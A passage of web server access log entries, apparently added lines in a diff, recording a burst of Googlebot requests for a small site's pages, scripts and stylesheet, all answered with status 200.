(+http://www.google.com/bot.html)" +Jul 02 12:03:23 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:23 +0000] "GET /contact.html HTTP/1.1" 200 1344 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:23 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:23 +0000] "GET /styles.css HTTP/1.1" 200 1827 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:23 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:23 +0000] "GET /main.js HTTP/1.1" 200 4034 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:23 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:23 +0000] "GET /main.js HTTP/1.1" 200 3942 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:23 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:23 +0000] "GET /products/2 HTTP/1.1" 200 2551 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 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02 12:03:24 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:24 +0000] "GET /main.js HTTP/1.1" 200 3064 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:24 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:24 +0000] "GET /index.html HTTP/1.1" 200 3508 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:24 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:24 +0000] "GET /main.js HTTP/1.1" 200 2635 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:24 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:24 +0000] "GET /about.html HTTP/1.1" 200 1068 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:24 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:24 +0000] "GET /index.html HTTP/1.1" 200 3214 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:24 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:24 +0000] "GET /main.js HTTP/1.1" 200 3034 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 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02 12:03:24 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:24 +0000] "GET /styles.css HTTP/1.1" 200 3323 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:24 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:24 +0000] "GET /products/2 HTTP/1.1" 200 2313 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:24 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:24 +0000] "GET /styles.css HTTP/1.1" 200 4281 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:24 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:24 +0000] "GET /index.html HTTP/1.1" 200 3986 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:24 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:24 +0000] "GET /products/2 HTTP/1.1" 200 3904 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:24 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:24 +0000] "GET /main.js HTTP/1.1" 200 4346 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:24 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:24 +0000] "GET /main.js HTTP/1.1" 200 3846 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:24 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:24 +0000] "GET /about.html HTTP/1.1" 200 3483 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:24 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:24 +0000] "GET /main.js HTTP/1.1" 200 3406 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:24 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:24 +0000] "GET /products/2 HTTP/1.1" 200 4158 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:24 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:24 +0000] "GET /styles.css HTTP/1.1" 200 2814 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:24 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:24 +0000] "GET /about.html HTTP/1.1" 200 4315 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:24 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:24 +0000] "GET /products/2 HTTP/1.1" 200 3885 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:24 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:24 +0000] "GET /products/2 HTTP/1.1" 200 1936 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:24 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:24 +0000] "GET /products/1 HTTP/1.1" 200 3302 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:24 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:24 +0000] "GET /index.html HTTP/1.1" 200 4535 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:24 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:24 +0000] "GET /about.html HTTP/1.1" 200 3340 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:24 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:24 +0000] "GET /index.html HTTP/1.1" 200 2157 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:24 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:24 +0000] "GET /about.html HTTP/1.1" 200 2156 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:24 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:24 +0000] "GET /products/2 HTTP/1.1" 200 2174 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:25 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:25 +0000] "GET /main.js HTTP/1.1" 200 4783 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:25 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:25 +0000] "GET /about.html HTTP/1.1" 200 1820 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:25 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:25 +0000] "GET /contact.html HTTP/1.1" 200 2171 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:25 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:25 +0000] "GET /main.js HTTP/1.1" 200 4243 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:25 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:25 +0000] "GET /styles.css HTTP/1.1" 200 3053 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:25 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:25 +0000] "GET /products/2 HTTP/1.1" 200 4001 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:25 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:25 +0000] "GET /products/2 HTTP/1.1" 200 2869 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:25 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:25 +0000] "GET /main.js HTTP/1.1" 200 2657 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:25 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:25 +0000] "GET /products/2 HTTP/1.1" 200 3191 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:25 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:25 +0000] "GET /products/2 HTTP/1.1" 200 1604 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:25 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:25 +0000] "GET /index.html HTTP/1.1" 200 1544 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:25 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:25 +0000] "GET /main.js HTTP/1.1" 200 3723 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:25 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:25 +0000] "GET /main.js HTTP/1.1" 200 4891 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:25 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:25 +0000] "GET /about.html HTTP/1.1" 200 1314 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:25 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:25 +0000] "GET /products/2 HTTP/1.1" 200 3721 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:25 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:25 +0000] "GET /contact.html HTTP/1.1" 200 3053 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:25 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:25 +0000] "GET /products/2 HTTP/1.1" 200 1687 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:25 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:25 +0000] "GET /products/2 HTTP/1.1" 200 4462 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:25 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:25 +0000] "GET /index.html HTTP/1.1" 200 3822 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:25 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:25 +0000] "GET /about.html HTTP/1.1" 200 1069 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:25 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:25 +0000] "GET /styles.css HTTP/1.1" 200 4050 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:25 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:25 +0000] "GET /index.html HTTP/1.1" 200 4416 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:25 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:25 +0000] "GET /styles.css HTTP/1.1" 200 4839 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:25 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:25 +0000] "GET /index.html HTTP/1.1" 200 4618 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:25 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:25 +0000] "GET /main.js HTTP/1.1" 200 4967 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:25 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:25 +0000] "GET /index.html HTTP/1.1" 200 4991 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:25 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:25 +0000] "GET /contact.html HTTP/1.1" 200 1227 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:25 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:25 +0000] "GET /products/1 HTTP/1.1" 200 1505 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:25 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:25 +0000] "GET /contact.html HTTP/1.1" 200 4676 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:25 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:25 +0000] "GET /main.js HTTP/1.1" 200 1053 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:25 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:25 +0000] "GET /products/1 HTTP/1.1" 200 3545 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:25 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:25 +0000] "GET /contact.html HTTP/1.1" 200 1115 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:25 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:25 +0000] "GET /styles.css HTTP/1.1" 200 4866 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:25 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:25 +0000] "GET /main.js HTTP/1.1" 200 4971 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:25 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:25 +0000] "GET /contact.html HTTP/1.1" 200 1719 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:25 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:25 +0000] "GET /main.js HTTP/1.1" 200 1138 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:25 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:25 +0000] "GET /products/2 HTTP/1.1" 200 4453 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:25 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:25 +0000] "GET /products/2 HTTP/1.1" 200 1048 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:25 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:25 +0000] "GET /main.js HTTP/1.1" 200 4149 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:25 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:25 +0000] "GET /main.js HTTP/1.1" 200 1120 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:25 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:25 +0000] "GET /products/2 HTTP/1.1" 200 3154 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:25 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:25 +0000] "GET /contact.html HTTP/1.1" 200 2574 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:25 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:25 +0000] "GET /products/1 HTTP/1.1" 200 4819 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:25 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:25 +0000] "GET /products/1 HTTP/1.1" 200 3740 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:25 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:25 +0000] "GET /about.html HTTP/1.1" 200 1690 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:25 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:25 +0000] "GET /main.js HTTP/1.1" 200 1865 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:25 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:25 +0000] "GET /contact.html HTTP/1.1" 200 3497 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:25 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:25 +0000] "GET /main.js HTTP/1.1" 200 1991 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:25 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:25 +0000] "GET /contact.html HTTP/1.1" 200 4361 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:25 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:25 +0000] "GET /products/1 HTTP/1.1" 200 1869 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:25 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:25 +0000] "GET /index.html HTTP/1.1" 200 2224 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:25 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:25 +0000] "GET /index.html HTTP/1.1" 200 2813 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:25 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:25 +0000] "GET /about.html HTTP/1.1" 200 4054 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:25 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:25 +0000] "GET /about.html HTTP/1.1" 200 4690 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:25 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:25 +0000] "GET /about.html HTTP/1.1" 200 4551 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:25 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:25 +0000] "GET /index.html HTTP/1.1" 200 4742 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:26 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:26 +0000] "GET /main.js HTTP/1.1" 200 4225 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:26 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:26 +0000] "GET /products/2 HTTP/1.1" 200 2523 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:26 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:26 +0000] "GET /styles.css HTTP/1.1" 200 4697 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:26 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:26 +0000] "GET /products/2 HTTP/1.1" 200 3213 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:26 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:26 +0000] "GET /styles.css HTTP/1.1" 200 2940 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:26 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:26 +0000] "GET /contact.html HTTP/1.1" 200 3033 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:26 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:26 +0000] "GET /products/2 HTTP/1.1" 200 1590 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:26 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:26 +0000] "GET /main.js HTTP/1.1" 200 2333 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:26 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:26 +0000] "GET /main.js HTTP/1.1" 200 2912 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:26 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:26 +0000] "GET /products/2 HTTP/1.1" 200 1963 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:26 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:26 +0000] "GET /styles.css HTTP/1.1" 200 4144 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:26 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:26 +0000] "GET /styles.css HTTP/1.1" 200 3032 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:26 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:26 +0000] "GET /products/1 HTTP/1.1" 200 2557 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:26 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:26 +0000] "GET /products/2 HTTP/1.1" 200 3873 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:26 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:26 +0000] "GET /products/2 HTTP/1.1" 200 4818 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:26 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:26 +0000] "GET /products/1 HTTP/1.1" 200 3461 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:26 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:26 +0000] "GET /styles.css HTTP/1.1" 200 3546 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:26 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:26 +0000] "GET /contact.html HTTP/1.1" 200 3387 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:26 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:26 +0000] "GET /main.js HTTP/1.1" 200 3696 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:26 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:26 +0000] "GET /index.html HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:26 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:26 +0000] "GET /products/2 HTTP/1.1" 200 1256 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:26 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:26 +0000] "GET /about.html HTTP/1.1" 200 3109 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:26 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:26 +0000] "GET /contact.html HTTP/1.1" 200 1699 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:26 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:26 +0000] "GET /products/1 HTTP/1.1" 200 4272 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:26 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:26 +0000] "GET /main.js HTTP/1.1" 200 3230 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:26 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:26 +0000] "GET /contact.html HTTP/1.1" 200 1031 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" 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1349 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:27 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:27 +0000] "GET /styles.css HTTP/1.1" 200 3864 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:27 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:27 +0000] "GET /main.js HTTP/1.1" 200 4822 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:27 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:27 +0000] "GET /main.js HTTP/1.1" 200 4855 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:27 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:27 +0000] "GET /index.html HTTP/1.1" 200 1927 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:27 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:27 +0000] "GET /products/1 HTTP/1.1" 200 2061 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:27 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:27 +0000] "GET /index.html HTTP/1.1" 200 1083 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"-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:27 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:27 +0000] "GET /products/2 HTTP/1.1" 200 1447 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:27 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:27 +0000] "GET /main.js HTTP/1.1" 200 3186 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:27 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:27 +0000] "GET /contact.html HTTP/1.1" 200 1717 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:27 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:27 +0000] "GET /products/1 HTTP/1.1" 200 1223 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:27 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:27 +0000] "GET /products/2 HTTP/1.1" 200 3394 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:27 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:27 +0000] "GET /main.js HTTP/1.1" 200 1163 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"-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:27 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:27 +0000] "GET /about.html HTTP/1.1" 200 4184 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:27 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:27 +0000] "GET /styles.css HTTP/1.1" 200 2257 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:27 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:27 +0000] "GET /about.html HTTP/1.1" 200 1272 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:27 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:27 +0000] "GET /about.html HTTP/1.1" 200 1670 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:27 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:27 +0000] "GET /main.js HTTP/1.1" 200 1932 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:27 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:27 +0000] "GET /products/2 HTTP/1.1" 200 4440 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:27 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:27 +0000] "GET /products/1 HTTP/1.1" 200 2157 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:27 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:27 +0000] "GET /styles.css HTTP/1.1" 200 4751 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:27 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:27 +0000] "GET /index.html HTTP/1.1" 200 4588 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:27 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:27 +0000] "GET /contact.html HTTP/1.1" 200 3992 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:27 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:27 +0000] "GET /index.html HTTP/1.1" 200 4993 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:27 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:27 +0000] "GET /styles.css HTTP/1.1" 200 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02 12:03:29 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:29 +0000] "GET /about.html HTTP/1.1" 200 1147 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:29 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:29 +0000] "GET /about.html HTTP/1.1" 200 4254 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:29 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:29 +0000] "GET /about.html HTTP/1.1" 200 3372 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:29 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:29 +0000] "GET /products/1 HTTP/1.1" 200 2696 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:29 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:29 +0000] "GET /contact.html HTTP/1.1" 200 1294 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:29 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:29 +0000] "GET /styles.css HTTP/1.1" 200 4138 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" 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02 12:03:29 web-app[2345]: 66.249.66.1 - - 